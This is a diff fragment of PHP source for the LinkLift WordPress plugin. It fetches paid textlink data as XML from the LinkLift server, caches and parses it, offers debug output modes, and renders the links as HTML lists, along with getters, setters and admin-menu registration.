+	if (   (   (false !== strpos( strtolower($_SERVER["SCRIPT_FILENAME"])	, strtolower("linklift_divcom.php") ))
+			|| (false !== strpos( strtolower(getenv("SCRIPT_NAME"))			, strtolower("linklift_divcom.php") ))
+			)
+		&& (! LL_SECRET_MODE)
+		)
+	{
+		LinkLiftPlugin::return_error( $errorCode = 404 );
+	} //if
+	
+	if ($check_this_file)
+	{
+		// direct access to the LinkLift-plugin-file is not wanted!
+		if (   (   (false !== strpos( strtolower($_SERVER["SCRIPT_FILENAME"])	, strtolower( basename(__FILE__) ) ))
+				|| (false !== strpos( strtolower(getenv("SCRIPT_NAME"))			, strtolower( basename(__FILE__) ) ))
+				)
+			&& (! LL_SECRET_MODE)
+			)
+		{
+			LinkLiftPlugin::return_error( $errorCode = 404 );
+		} //if
+	} //if
+} //check_request()
+
+
+
+
+
+/**
+ * Setter-method for property "linklift_website_key".
+ * The class'-properties are private in PHP5.
+ * 
+ * The method is invoked by the class' constructor.
+ * 
+ * @author akniep (Andreas Rayo Kniep)
+ * @since 2008-01-02
+ * @param $instance_linklift_website_key string The new linklift-website-key for this instance.
+ * @return string The former value of the property "linklift_website_key".
+ */
+function setWebsiteKey( $instance_linklift_website_key )
+{
+	$current_linklift_website_key	= $this->getWebsiteKey();
+	
+	$this->linklift_website_key		= $instance_linklift_website_key;
+	
+	return $current_linklift_website_key;
+} //setWebsiteKey()
+
+/**
+ * Getter-method for property "linklift_website_key".
+ * The class'-properties are private in PHP5.
+ * 
+ * Usually, the property is set once by the constructor and remains unchanged afterwards.
+ *
+ * @author akniep (Andreas Rayo Kniep)
+ * @since 2007-12-10
+ * @return string The current value of the linklift_website_key-property.
+ */
+function getWebsiteKey()
+{
+	return $this->linklift_website_key;
+} //getWebsiteKey()
+
+/**
+ * Setter-method for property "xml_filename".
+ * The class'-properties are private in PHP5.
+ * 
+ * The method checks wether a linklift-website-key is defined for this instance
+ *   and extends the given filename by adding the current linklift-website-key as postfix.
+ * Thus, one plugin may work with and cache textlink-data belonging to different linklift-website-keys.
+ * 
+ * The method is invoked by the class' constructor.
+ * 
+ * @author akniep (Andreas Rayo Kniep)
+ * @since 2008-01-02
+ * @param $instance_xml_filename string The new XML-filename that is used when textlink-data that has been downloaded from the LinkLift-server is cached.
+ * @return string The former value of the property "xml_filename".
+ */
+function setXmlFilename( $instance_xml_filename = "" )
+{
+	$current_xml_filename			= $this->getXmlFilename();
+	
+	$instance_linklift_website_key	= $this->getWebsiteKey();
+	
+	if (! empty($instance_linklift_website_key))
+	{
+		$xml_filename_length	= LinkLiftPlugin::ll_call_str_function_encoding_dependent("strlen", array($instance_xml_filename));
+		
+		if (   ( 0 >= $xml_filename_length)
+			|| ( false === ($file_format_start = LinkLiftPlugin::ll_call_str_function_encoding_dependent("strrpos", array($instance_xml_filename, ".") )) )
+			)
+		{
+			$file_format_start	= $xml_filename_length;
+		} //if
+			
+		$instance_xml_filename	=	  LinkLiftPlugin::ll_call_str_function_encoding_dependent("substr", array($instance_xml_filename, 0, $file_format_start))
+									. ( (0 < $file_format_start) ? ("_") : ("") )
+									. $instance_linklift_website_key
+									. LinkLiftPlugin::ll_call_str_function_encoding_dependent("substr", array($instance_xml_filename, $file_format_start, $xml_filename_length))
+									. "";
+	} //if
+	
+	$this->xml_filename = $instance_xml_filename;
+	
+	return $current_xml_filename;
+} //setXmlFilename()
+
+/**
+ * Getter-method for property "xml_filename".
+ * The class'-properties are private in PHP5.
+ * 
+ * Usually, the property is set once by the constructor and remains unchanged afterwards.
+ * Some CMS-plugins, though, will set the XML-filename later when having access to the CMS'-database.
+ *
+ * @author akniep (Andreas Rayo Kniep)
+ * @since 2008-01-02
+ * @return string The current value of the xml_filename-property.
+ */
+function getXmlFilename()
+{
+	return $this->xml_filename;
+} //getXmlFilename()
+
+/**
+ * Setter-method for property "links_to_show".
+ * The class'-properties are private in PHP5.
+ * 
+ * The method checks wether the given value is an array. If not an empty array is used as new value.
+ * 
+ * The method is invoked by the class' constructor.
+ * 
+ * @author akniep (Andreas Rayo Kniep)
+ * @since 2008-01-02
+ * @param $instance_links_to_show array Array of integers, holding the new value of links to be shown by this instance.
+ * @return array The former value of the property "links_to_show".
+ */
+function setLinksToShow( $instance_links_to_show = "" )
+{
+	$current_instance_links_to_show	= $this->getLinksToShow();
+	
+	$this->links_to_show			= ( (is_array($instance_links_to_show)) ? ($instance_links_to_show) : (array()) );
+	
+	return $current_instance_links_to_show;
+} //setLinksToShow()
+
+/**
+ * Getter-method for property "links_to_show".
+ * The class'-properties are private in PHP5.
+ * 
+ * Usually, the property is set once by the constructor and remains unchanged afterwards.
+ *
+ * @author akniep (Andreas Rayo Kniep)
+ * @since 2008-01-02
+ * @return string The current value of the links_to_show-property.
+ */
+function getLinksToShow()
+{
+	return $this->links_to_show;
+} //getLinksToShow()
+
+/**
+ * Setter-method for property "xml_cache_time".
+ *
+ * @author akniep (Andreas Rayo Kniep)
+ * @since 2007-12-17
+ * @param $xml_cache_time int The time the cached XML has been updated for the last time; default: NOW / time().
+ * @return void
+ */
+function setXmlCacheTime( $xml_cache_time = -1 )
+{
+	if (0 > $xml_cache_time)
+		$xml_cache_time = time();
+	
+	$this->xml_cache_time = $xml_cache_time;
+} //setXmlCacheTime()
+
+/**
+ * Getter-method for property "xml_cache_time".
+ * Note: in LL_DEBUG_MODE = 3 this method will always return 0 in order to force an update of the XML-cache.
+ *
+ * @author akniep (Andreas Rayo Kniep)
+ * @since 2007-12-17
+ * @return int The time the cached XML has been updated for the last time.
+ */
+function getXmlCacheTime()
+{
+	if (5 == LL_DEBUG_MODE)
+		return 0;
+	else
+		return $this->xml_cache_time;
+} //getXmlCacheTime()
+
+/**
+ * Setter-method for property "xml_cache".
+ *
+ * @author akniep (Andreas Rayo Kniep)
+ * @since 2007-12-17
+ * @param $xml_cache string The XML-string to be cached / that is cached.
+ * @param $update_time boolean Set this flag in order to let the method update the xml_cache_time to NOW / time(); default: false.
+ * @return void
+ */
+function setXmlCache( $xml_cache, $update_time = false )
+{
+	$this->xml_cache = $xml_cache;
+	
+	if ($update_time)
+		$this->setXmlCacheTime();
+} //setXmlCache()
+
+/**
+ * Getter-method for property "xml_cache".
+ * Note: in LL_DEBUG_MODE = 3 this method will always return 0 in order to force an update of the XML-cache.
+ *
+ * @author akniep (Andreas Rayo Kniep)
+ * @since 2007-12-17
+ * @return string The currently cached XML.
+ */
+function getXmlCache()
+{
+	return $this->xml_cache;
+} //getXmlCache()
+
+
+/**
+ * This method outputs an instance's current state by returning the values of its fields and constants.
+ * Use it for debugging-information.
+ *
+ * @author akniep (Andreas Rayo Kniep)
+ * @since 2007-12-17
+ * @return string, the object's current state as string
+ */
+function __toString()
+{
+	$seperator		= " / ";
+	
+	$return_array	= array();
+	
+	$return_array[]	= "LinkLift Plugin";
+	$return_array[]	= "Linklift-Website-Key: "	. $this->getWebsiteKey();
+	$return_array[]	= "XML-Filename: "			. $this->getXmlFilename();
+	$return_array[]	= "Links to show: "			. implode(",", $this->getLinksToShow());
+	$return_array[]	= "XML-cache update time: "	. $this->getXmlCacheTime() . " (" . date("Y-m-d H:i:s", $this->getXmlCacheTime()). ")";
+	$return_array[]	= "Data Timeout: "			. $this->data_timeout;
+	$return_array[]	= "Plugin Language: "		. $this->plugin_language;
+	$return_array[]	= "Plugin Version: "		. $this->plugin_version;
+	$return_array[]	= "Plugin Date: "			. $this->plugin_date;
+	
+	$return_str		= implode($seperator, $return_array);
+	
+	return $return_str;
+} //__toString()
+
+
+/**
+ * The method retrieves textlink-data to your adspace from the LinkLift-server.
+ * The data is received in XML-format and contains information about all textlinks currently booked on your adspace.
+ * The received XML is saved as instance-property xml_cache.
+ * The method is invoked by ll_textlink_code() if the local XML-file is not existent or out-of-date.
+ *
+ * @author akniep (Andreas Rayo Kniep)
+ * @since 2006-09-18
+ * @return void
+ */
+function ll_retrieve_xml_from_ll_server()
+{
+	$server_host = LL_SERVER_HOST;
+	
+	
+	$linklift_website_key	= urlencode($this->getWebsiteKey());
+	$linklift_secret		= urlencode(LL_PLUGIN_SECRET);
+	
+	$request =   "GET /external/textlink_data.php5"
+				. "?website_key"				. "=" . $linklift_website_key
+				. "&linklift_secret"			. "=" . $linklift_secret
+				. "&plugin_language"			. "=" . urlencode($this->plugin_language)
+				. "&plugin_version"			. "=" . urlencode($this->plugin_version)
+				. "&plugin_date"				. "=" . urlencode($this->plugin_date)
+				. "&plugin_creation_date"		. "=" . urlencode($this->plugin_creation_date)
+				. "&http_request_uri"			. "=" . ( (isset($_SERVER["REQUEST_URI"])    ) ? (urlencode($_SERVER["REQUEST_URI"])    ) : ("") )
+				. "&http_user_agent"			. "=" . ( (isset($_SERVER["HTTP_USER_AGENT"])) ? (urlencode($_SERVER["HTTP_USER_AGENT"])) : ("") )
+				. "&linklift_title"			. "=" . urlencode(LinkLiftPlugin::ll_get_option( "linklift_title_"                . $linklift_website_key , ""))
+				. "&condition_no_css"			. "=" . ( (LinkLiftPlugin::ll_get_option( "linklift_no_css_use_theme_"     . $linklift_website_key , true)) ? ("1") : ("0") )
+				. "&condition_no_html_tags"	. "=" . ( (LinkLiftPlugin::ll_get_option( "linklift_no_html_tags_"         . $linklift_website_key , false)) ? ("1") : ("0") )
+				. " "
+				
+				. "HTTP/1.0\n"
+				. "Host: " . $server_host . "\n"
+				. "Connection: Close\n"
+				. "\n"
+				
+				. "";
+	
+	
+	// possible errors lead to the xmlCache not being (re-)set
+	$xml = LinkLiftPlugin::get_page_content( $server_host, $request );
+	
+	
+	
+	// Server returned an answer to a one-time-password-request.
+	if (preg_match(	  '@<' . LL_ONE_TIME_PASSWORD_ANSWER_TAG . '_' . $linklift_website_key . '>([^<]*)</' . LL_ONE_TIME_PASSWORD_ANSWER_TAG . '_' . $linklift_website_key . '>@i'
+					, $xml
+					, $matches
+					))
+	{
+		$plugin_secret = trim( $matches[1] );
+		
+		// a plugin-secret could be extracted and is saved to the database.
+		if (   ($plugin_secret)
+			&& ($plugin_secret !== LL_PLUGIN_SECRET)   )
+		{
+			LinkLiftPlugin::ll_set_option( LL_OPTION_PLUGIN_SECRET, $plugin_secret );
+			
+			// there is no need for another request, since, the next visitor should trigger the next try with the correct password.
+			$xml = "";
+		} //if
+	} //if
+	
+	
+	
+	// saving the received XML to instance-property "xml_cache"
+	if (false !== strpos($xml, "<?xml"))
+		$this->setXmlCache( strstr($xml, "<?xml"), $update_time = true );
+} //ll_retrieve_xml_from_ll_server()
+
+/**
+ * The method parses the textlink-data to your adspace out of a String given in XML-format.
+ * Usually, the delivered string contains the XML-data either just received from the LinkLift-server or read out of the local XML-file.
+ * The method returns a multi-dimensional Array of textlinks containing information like link_url, link_text, link_prefix, link_postfix, and so on.
+ * The method is invoked by ll_textlink_code() after calling either ll_retrieve_xml_from_ll_server() or ll_retrieve_xml_from_file_systems().
+ *
+ * @author akniep (Andreas Rayo Kniep)
+ * @since 2006-09-18, 2006-12-03, 2007-12-10
+ * @param $xml string The textlink-data as String and in XML-format that either has just been received from the LinkLift-server or read out of the local XML-file, may be left empty in order to save the instance's xml_cache.
+ * @return array of textlink-data. Each element is representing one actual textlink on your website in that it contains information like link_url, link_text, link_prefix, link_postfix, and so on.
+ */
+function ll_retrieve_textlink_data_from_xml( $xml = "" )
+{
+	if (empty($xml))
+		$xml = $this->getXmlCache();
+	
+	
+	// well-formedness of XML is assumed!
+	$textlink_data_fields =
+				array(	
+						  "prefix"
+						, "url"
+						, "text"
+						, "postfix"
+						
+						, "rss_prefix"
+						, "rss_url"
+						, "rss_text"
+						, "rss_postfix"
+					);
+	
+	$plugin_fields =
+				array(	
+						  "language"
+						, "version"
+						, "pl_date"
+					);
+	
+	$xml_fields = array_merge($textlink_data_fields, $plugin_fields);
+	
+	
+	
+	$parsed_xml_array = array();
+	foreach ($xml_fields as $field)
+	{
+		preg_match_all ('!<' . $field . '[^>]*>(.*?)</' . $field . '>!im', $xml, $parsed_xml_array[$field], PREG_SET_ORDER);
+	} //foreach($field)
+	
+	
+	
+	// ### Extracting plugin-data #################################################
+	
+	$server_plugin   = array();
+	$plugin_to_save  = -1;
+	foreach ($plugin_fields as $field)
+	{
+		foreach ($parsed_xml_array[$field] as $nr => $value)
+		{
+			if (   ("language" == $field)
+				&& ($this->plugin_language == $value[1])   )
+			{
+				$plugin_to_save = $nr;
+			} //if;
+			
+			$server_plugin[$nr][$field] = $value[1];
+		} //foreach($value)
+	} //foreach($field)
+	
+	if (! empty($server_plugin[$plugin_to_save]))
+		LinkLiftPlugin::ll_save_plugin_data( $server_plugin[$plugin_to_save] );
+	
+	
+	
+	// ### Extracting textlink-data ###############################################
+	
+	$textlink_data   = array();
+	foreach ($textlink_data_fields as $field)
+	{
+		foreach ($parsed_xml_array[$field] as $nr => $value)
+		{
+			$parsed_value = $value[1];
+			
+			// LinkLift may use CData-elements in its XML-feeds that can be recognised by XML-parsers.
+			$parsed_value = str_replace(array("<![CDATA[", "]]>"), "", $parsed_value);
+			
+			$textlink_data[$nr][$field] = $parsed_value;
+		} //foreach($value)
+	} //foreach($field)
+	
+	
+	return $textlink_data;
+} //ll_retrieve_textlink_data_from_xml()
+
+/**
+ * The method retrieves textlink-data to your adspace from the local XML-file (i.e. the file-system).
+ * The data is read in XML-format and contains information about all textlinks currently booked on your adspace.
+ * Usually, the local XML-file gets updated after a certain period of time by calling ll_retrieve_xml_from_ll_server().
+ * The read XML is saved as instance-property xml_cache.
+ * The method is invoked by ll_textlink_code() if there is a local XML-file and it is not out-of-date.
+ *
+ * @author akniep (Andreas Rayo Kniep)
+ * @since 2006-09-18
+ * @return void
+ */
+function ll_retrieve_xml_from_file_system()
+{
+	$xml = "";
+	
+	$xml_filename = $this->getXmlFilename();
+	
+	if (   (file_exists($xml_filename))
+		&& (is_readable($xml_filename))
+		&& ($xmlfile = fopen($xml_filename, "r"))   )
+	{
+		$xml = fread($xmlfile, filesize($xml_filename));
+		fclose($xmlfile);
+		
+		
+		$this->setXmlCache( $xml, $update_time = false );
+	} //if
+} //ll_retrieve_xml_from_file_system()
+
+/**
+ * The method writes textlink-data to your adspace into the local XML-file (i.e. the file-system).
+ * The data is received in XML-format and contains information about all textlinks currently booked on your adspace.
+ * Usually, the delivered textlink-data has just been received, i.e. downloaded, from the LinkLift-server using ll_retrieve_xml_from_ll_server().
+ * The method is invoked by ll_textlink_code() after calling ll_retrieve_xml_from_ll_server() and if the received data exceeds a certain length (of bytes).
+ *
+ * @author akniep (Andreas Rayo Kniep)
+ * @since 2006-09-18
+ * @param $xml string The textlink-data in XML-format that, usually, has just been received from the LinkLift-server, may be left empty in order to save the instance's xml_cache.
+ * @return void
+ */
+function ll_write_xml_to_file_system( $xml = "" )
+{
+	if (empty($xml))
+		$xml = $this->getXmlCache();
+	
+	$xml_filename = $this->getXmlFilename();
+	
+	if ($xmlfile = fopen($xml_filename, "w"))
+	{
+		fwrite($xmlfile, $xml);
+		fclose($xmlfile);
+	} //if
+} //ll_write_xml_to_file_system()
+
+/**
+ * The method generates a textlink-array like the one created by ll_retrieve_textlink_data_from_xml() out of LinkLift's XML-feed.
+ * If no debug-mode is active the generated array will be empty, otherwise, contain a textlink depending on the current debug-mode.
+ * The method is invoked by ll_textlink_code().
+ * 
+ * @author akniep (Andreas Rayo Kniep)
+ * @since 2007-12-17
+ * @return array associative array containing textlinks that can be displayed within the generated HTML-code
+ */
+function get_debug_links()
+{
+	$debug_links = array();
+	
+	if ( LL_DEBUG_MODE )
+	{
+		if (function_exists( "md5" ))
+			$md5_answer = md5( LL_PLUGIN_SECRET );
+		else
+			$md5_answer = "";
+		
+		// displaying an "answer" to the DEBUG_MODE-request
+		if (1 != LL_DEBUG_MODE)
+			$debug_links[] = array("text" => "Debug-Mode {" . LL_DEBUG_MODE . "} - (" . $md5_answer . ")", "url" => "http://www.linklift.com/", "prefix" => "[-- ", "postfix" => " --]");
+		
+		
+		
+		// see above for the purposes of the following debug-modes
+		switch( LL_DEBUG_MODE )
+		{
+			case (1):
+				$debug_links[] = array("text" => "30 Chars TextLink text - &#228;&#223;&#263;&#322;&#261;", "url" => "http://www.linklift.com/", "prefix" => "", "postfix" => "");
+				break;
+			
+			
+			case (2):
+				$debug_links[] = array("text" => "<!--" . $this->__toString() . "-->", "url" => "http://www.linklift.com/somefolder/someSecondFolder/some-third-folder/someFile.php?somequery=1&someQuery=value&some-query=true&", "prefix" => "", "postfix" => "");
+				break;
+			
+			
+			case (3):
+				$debug_links[] = array("text" => "<!--" . $this->getXmlCache() . "-->", "url" => "http://www.linklift.com/", "prefix" => "", "postfix" => "");
+				break;
+			
+			
+			case (4):
+				$external_array = array(  "LL_WEBSITE_KEY"
+										, "LL_PLUGIN_LANGUAGE"
+										, "LL_PLUGIN_VERSION"
+										, "LL_PLUGIN_DATE"
+										, "LL_PLUGIN_CREATION_DATE"
+										, "LL_PLUGIN_SECRET"
+										, "LL_DATA_TIMEOUT"
+										);
+				$external_array = array_map( create_function('$element', 'return $element . "=" . constant($element);'), $external_array );
+				
+				$external_data =  implode( " / ", $external_array );
+				
+				
+				$debug_links[] = array("text" => "<!--" . $external_data . "-->", "url" => "http://www.linklift.com/", "prefix" => "", "postfix" => "");
+				break;
+			
+			
+			case (10):
+				$debug_links[] = array("text" => "<!--" . __FILE__ . "-->", "url" => "http://www.linklift.com/", "prefix" => "", "postfix" => "");
+				break;
+			
+			
+			
+			
+			
+			case (99):
+				$debug_links[] = array("text" => "1,2,3,4,5,10,99", "url" => "http://www.linklift.com/", "prefix" => "", "postfix" => "");
+				break;
+			
+		} //switch(LL_DEBUG_MODE)
+	} //if
+	
+	return $debug_links;
+} //get_debug_links()
+
+/**
+ * This method is the actual "main"-method of the LinkLift-plugin.
+ * The method
+ *  - retrieves textlink-data to your adspace from the LinkLift-server and stores it in a local XML-file (for reuse) - calling ll_retrieve_xml_from_ll_server();
+ *      or retrieves the textlink-data from that local XML-file in order to minimize outbound-traffic - calling ll_retrieve_xml_from_file_systems().
+ *  - parses the downloaded or read textlink-data in XML-format into an utilisable array of textlinks - calling ll_retrieve_textlink_data_from_xml().
+ *  - generates and outputs plain HTML-links using some CSS-styles in order to obtain the looks you chose on the LinkLift-website;
+ *      intentionally, the generated code tries to be as ordinary as possible in order to integrate best with your own HTML-code.
+ * 
+ * No value is returned since the generated HTML-code is directly outputted to your website (except for delivering $return = true).
+ * The method is invoked either at the end of the plugin (using PHP-plugin) or at the position of your choice within your website or blog (using one of the CMS-/Blog-software-plugins).
+ *
+ * @author akniep (Andreas Rayo Kniep)
+ * @since 2006-09-18, 2006-12-03, 2007-10-26
+ * @param $return boolean Indicating whether the generated HTML-code should be returned ($return == true), or written to standard-out (echo); default: false.
+ * @return the generated HTML-code containing your current textlinks, or void if ($return == false), then, HTML will be written to standard-out.
+ */
+function ll_textlink_code( $return = false )
+{
+	$linklift_website_key = $this->getWebsiteKey();
+	
+	
+	$this->setXmlCache( LinkLiftPlugin::ll_get_option("linklift_data_" . $this->getWebsiteKey(), "") );
+	$this->setXmlCacheTime( LinkLiftPlugin::ll_get_option("linklift_time_" . $this->getWebsiteKey(), 0) );
+	
+	// retrieving data from LL-server
+	if (   ($this->getXmlCacheTime() < time() - 3600)
+		|| (40 > strlen( $this->getXmlCache() ))   )
+	{
+		$this->ll_retrieve_xml_from_ll_server();
+		
+		update_option("linklift_data_" . $this->getWebsiteKey(), $this->getXmlCache());
+		update_option("linklift_time_" . $this->getWebsiteKey(), $this->getXmlCacheTime());
+	} //if
+	
+	
+	
+	
+	// parsing XML-data
+	$textlink_data = $this->ll_retrieve_textlink_data_from_xml();
+	
+	if (! is_array($textlink_data))
+		return "";
+	
+	// a possible debug-mode helping to analyse problems or functionality of the plugin
+	$debug_links = $this->get_debug_links();
+	$textlink_data = array_merge( $debug_links, $textlink_data );
+	
+	// filtering testlinks, links that should not be shown or are shown elsewhere, and special LinkLift-links
+	foreach ($textlink_data as $key => $link)
+	{
+		// if a certain subset of textlinks has been specified by links_to_show, the current textlink has to be part of it in order to be shown
+		$links_to_show = $this->getLinksToShow();
+		if (   (! empty($links_to_show))
+			&& (! in_array($key, $links_to_show))   )
+		{
+			unset($textlink_data[$key]);
+		} //if
+		
+		// filtering testlinks and special LinkLift-links, these are links containing the plugin's secret in their URL ...
+		if (   (0 < strlen(LL_PLUGIN_SECRET))
+			&& (false !== strpos($link["url"], LL_PLUGIN_SECRET))
+			&& (! LL_SECRET_MODE)   )
+		{
+			unset($textlink_data[$key]);
+		} //if
+	} //foreach($link)
+	
+	// if there are no textlinks at this time the plugin will not display anything.
+	if (0 >= count($textlink_data))
+		return "";
+	
+	
+	
+	
+	// creating and outputting textlinks
+	// generating HTML-links
+	// ---------------------------------------------------------------------------v
+	
+	// the appearance of the generated HTML-links depends on
+		// - the default values as chosen on LinkLift's own plug-in-generation-panel
+		// - the parameters that have been chosen within the configuration page of your LinkLift-plugin (if possible)
+	// --- CSS-parameters ----------------------------------------
+	$number_of_links_per_row = LinkLiftPlugin::ll_get_option( "linklift_links_per_row_"        . $linklift_website_key , 1);
+	
+	$styles_ul   = array();
+	$styles_li   = array();
+	$styles_a    = array();
+	
+	if (1 < $number_of_links_per_row)
+	{
+		$styles_li[] = 'width:' . floor(100 / $number_of_links_per_row -1) . '%;';
+		$styles_li[] = 'float:left;';
+	} //if
+	
+	$styles_ul[] = "background-color:" . LinkLiftPlugin::ll_get_option( "linklift_css_background_color_" . $linklift_website_key , "") . ";";
+	$styles_ul[] = "border:0px none #FFFFFF;";
+	
+	
+	
+	
+	$styles_a[] = "color:" . LinkLiftPlugin::ll_get_option( "linklift_css_color_"            . $linklift_website_key , "") . ";";
+	$styles_a[] = "font-size:" . LinkLiftPlugin::ll_get_option( "linklift_css_font_size_"        . $linklift_website_key , "12px") . ";";
+	
+	
+	
+	
+	
+	
+	// --- style-attributes --------------------------------------
+	if (function_exists("array_filter"))
+	{
+		$styles_ul = array_filter( $styles_ul, create_function('$style', 'return (strpos($style,":;") === false);') );
+		$styles_li = array_filter( $styles_li, create_function('$style', 'return (strpos($style,":;") === false);') );
+		$styles_a  = array_filter( $styles_a , create_function('$style', 'return (strpos($style,":;") === false);') );
+	} //if
+	
+	// --- style-attributes --------------------------------------
+	$css_ul      = ' style="' . implode(' ', $styles_ul) . '"';
+	$css_li      = ' style="' . implode(' ', $styles_li) . '"';
+	$css_a       = ' style="' . implode(' ', $styles_a ) . '"';
+	
+	// the following condition will evaluate to true
+		// if you have chosen not to use CSS-styles within the generated HTML-links
+	if (LinkLiftPlugin::ll_get_option( "linklift_no_css_use_theme_"     . $linklift_website_key , true))
+	{
+		$css_ul = '';
+		$css_a  = '';
+		
+		if (1 >= $number_of_links_per_row)
+			$css_li = '';
+	} //if-else
+	
+	
+	
+	// --- HTML-Tags ---------------------------------------------
+	$tag_ul1     = '<ul' . $css_ul . '>';
+	$tag_ul2     = '</ul>';
+	$tag_li1     = '<li' . $css_li . '>';
+	$tag_li2     = '</li>';
+	
+	// the following condition will evaluate to true
+		// if you have chosen not to use the HTML-tags <ul> and <li> within the generated HTML-links
+	if (LinkLiftPlugin::ll_get_option( "linklift_no_html_tags_"         . $linklift_website_key , false))
+	{
+		$tag_ul1 = '';
+		$tag_ul2 = '';
+		$tag_li1 = '';
+		
+		if (1 >= $number_of_links_per_row)
+			$tag_li2 = '<br />';
+		else
+			$tag_li2 = '';
+	} //if-else
+	
+	
+	
+	// --- HTML --------------------------------------------------
+	$line_break		= "\n";
+	$indentation	= "";
+	
+	$output 		= $line_break
+					. $indentation
+					
+					. $tag_ul1
+					. $line_break;
+	
+	$link_counter	= 0;
+	foreach ($textlink_data as $key => $link)
+	{
+		$output    .= $indentation
+					. ( (empty($line_break)) ? ("") : ("\t") )			// no indentation if there are no linebreaks
+					
+					. $tag_li1
+					. 	$link["prefix"]
+					. 	'<a' . $css_a . ' href="'.$link["url"].'">'		// you may add  target="_self"  in order to give the link full strength
+					. 		$link["text"]
+					. 	'</a>'
+					. 	$link["postfix"]
+					. $tag_li2
+					
+					// adding a line-break if a certain number of links should stand together in a row
+					. ( (  (LinkLiftPlugin::ll_get_option( "linklift_no_html_tags_"         . $linklift_website_key , false))
+						&& (1 < $number_of_links_per_row)
+						&& (0 == ++$link_counter % $number_of_links_per_row)
+						) ? ("<br />") : ("") )
+					
+					. $line_break;
+	} //foreach($link)
+	
+	$output 	   .= $indentation
+					
+					. $tag_ul2
+					. $line_break;
+	
+	// ---------------------------------------------------------------------------^
+	
+	
+	
+	// usually, the generated HTML-content is written to standard-out
+		// however, you may choose that the method returns the code
+	if ($return)
+		return $output;
+	else
+		echo $output;
+	
+} //ll_textlink_code()
+
+
+
+
+
+
+
+
+
+/**
+ * The method adds another action on thw Wordpress "admin_menu"-signal.
+ * 
+ * The method gets invoked as an action on the Wordpress "init"-signal.
+ * class-method ("static")
+ *
+ * @author akniep (Andreas Rayo Kniep)
+ * @since 2007-05-04
+ * @return void
+ */
+function linklift_init()
+{
+	// adding a new submenu-page to the admin's menu
+	add_action( "admin_menu", array("LinkLiftPlugin", "linklift_config_page") );
+} //linklift_init()
+
+/**
+ * Adds a new submenu-page to the admin-panel within Wordpress.
+ * The new submenu-page contains the LinkLift-plugin-configuration-page
+ *   created by the method linklift_configuration().
+ * 
+ * The method gets invoked as an action on the Wordpress "admin_menu"-signal.
+ * class-method ("static")
+ *
+ * @author akniep (Andreas Rayo Kniep)
+ * @since 2007-05-04
+ * @return void
+ */
+function linklift_config_page()
+{
+	// adding the LinkLift-configuration page to ...
+	if ( function_exists("add_submenu_page") )
+	{
+		// ... plugins-menu / -tab
+		if (file_exists(LL_WORDPRESS_FILE_PLUGINS))
+		{
+			add_submenu_page(	  $parent       = LL_WORDPRESS_FILE_PLUGINS
+								, $page_title   = LinkLiftPlugin::ll_translate('LINKLIFT_CONFIG_TAB_TITLE')
+								, $menu_title   = LinkLiftPlugin::ll_translate('LINKLIFT_CONFIG_TAB_TITLE')
+								, $access_level = "manage_options"
+								, $file         = LL_PLUGIN_MENU_FILENAME
+								, $function     = array("LinkLiftPlugin", "linklift_configuration")
+							);
+		} //if
+		
+		// ... the general options-menu / -tab
+		if (file_exists(LL_WORDPRESS_FILE_OPTIONS_GENERAL))
+		{
+			add_submenu_page(	  $parent       = LL_WORDPRESS_FILE_OPTIONS_GENERAL
+								, $page_title   = LinkLiftPlugin::ll_translate('LINKLIFT_CONFIG_TAB_TITLE')
+								, $menu_title   = LinkLiftPlugin::ll_translate('LINKLIFT_CONFIG_TAB_TITLE')
+								, $access_level = "manage_options"
+								, $file         = LL_PLUGIN_MENU_FILENAME
+								, $function     = array("LinkLiftPlugin", "linklift_configuration")
+							);
+		} //if
+	} //if
+} //linklift_config_page()
+
+/**
+ * Returns the localised text (or value) of a given text-key.
+ * If the (Wordpress/CMS-) software's preset language is available to the plug-in
+ *   the returned translation will be language-specific, otherwise english.
+ * 
+ * The method also replaces type_specifiers (like knwon from sprintf) within the localised text.
+ *   Thus, you can fill the localised texts with dynamic (language-independent) values.
+ * The replacements have to be delivered as String-array.
+ *   If the localised text does not contain enough type-specifiers for all given replacements the remaining will be omitted.
+ * class-method ("static")
+ * 
+ * @author akniep (Andreas Rayo Kniep)
+ * @since 2007-05-02, 2007-06-10
+ * @param $key_text string, the text to be translated
+ * @param $replacements array of string-replacements, replacing type_specifiers in the localised text; default: empty array
+ * @return string, translated text of input-parameter
+ */
+function ll_translate( $key_text, $replacements = array() )
+{
+	$type_specifier = "%s";
+	
+	
+	if (defined($key_text))
+		$localised_text		= constant($key_text);
+	else
+		$localised_text = $key_text;
+	
+	
+	// if a string is given instead of an array ...
+	if (! is_array($replacements))
+		$replacements = array( $replacements );
+	
+	// avoiding a warning by vsprintf
+	while (count($replacements) < substr_count($localised_text, $type_specifier))
+		$replacements[] = "";
+	
+	
+	// the actual replacement of %s-placeholders
+	$localised_text = vsprintf( $localised_text, $replacements );
+	
+	
+    return $localised_text;
+} //ll_translate()
+
+/**
+ * Returns the value to a given key of the Wordpress-option-table (wp_options).
+ * Other than Wordpress' own function get_option()
+ *   this method will return a default_value rather than FALSE if the given key is undefined in the Wordpress-options-table (wp_options).
+ * The default value can be delivered as second parameter.
+ * class-method ("static")
+ * 
+ * @author akniep (Andreas Rayo Kniep)
+ * @since 2007-06-10
+ * @param $options_table_key string, the key of the value to be retrieved from the Wordpress-options-table (wp_options)
+ * @param $default_value mixed, the default value that should be returned if the given key is undefined in the Wordpress-options-table (wp_options), default: "" (empty string)
+ * @return mixed, the value to the given key retrieved from the Wordpress-options-table (wp_options), or $default_value if the given key is undefined
+ */
+function ll_get_option( $options_table_key, $default_value = "" )
+{
+	$options_table_value = get_option($options_table_key);
+	
+	// if a given key does not exist in the Wordpress-options-table
+		// get_option returns false
+	if (false === $options_table_value)
+		return $default_value;
+	else
+		return $options_table_value;
+} //ll_get_option()
+
+/**
+ * Persists a variable value to the CMS-database, such that it can be retrieved when the plugin runs again.
+ * Note: If the given variable-name already exists it will be overridden, returning the former value
+ *       otherwise it will be created with the given value.
+ * Note: The given value can be of any type, but must be serializable.
+ * CMS-specific-plugin-function.
+ * 
+ * @author akniep (Andreas Rayo Kniep)
+ * @since 2008-01-21
+ * @param $options_table_key string, the variable-name, the given value can be retrieved again with
+ * @param $new_value mixed, the variable-value to be persisted in the CMS-database
+ * @return mixed, the former value of the variable, or false if the variable did not exist before
+ */
+function ll_set_option( $options_table_key, $new_value = "" )
+{
+	$former_value_default = false;
+	
+	$former_value = LinkLiftPlugin::ll_get_option( $options_table_key, $former_value_default );
+	
+	
+	update_option( $options_table_key, $new_value );
+	
+	return $former_value;
+} //ll_set_option()
+
+
+/**
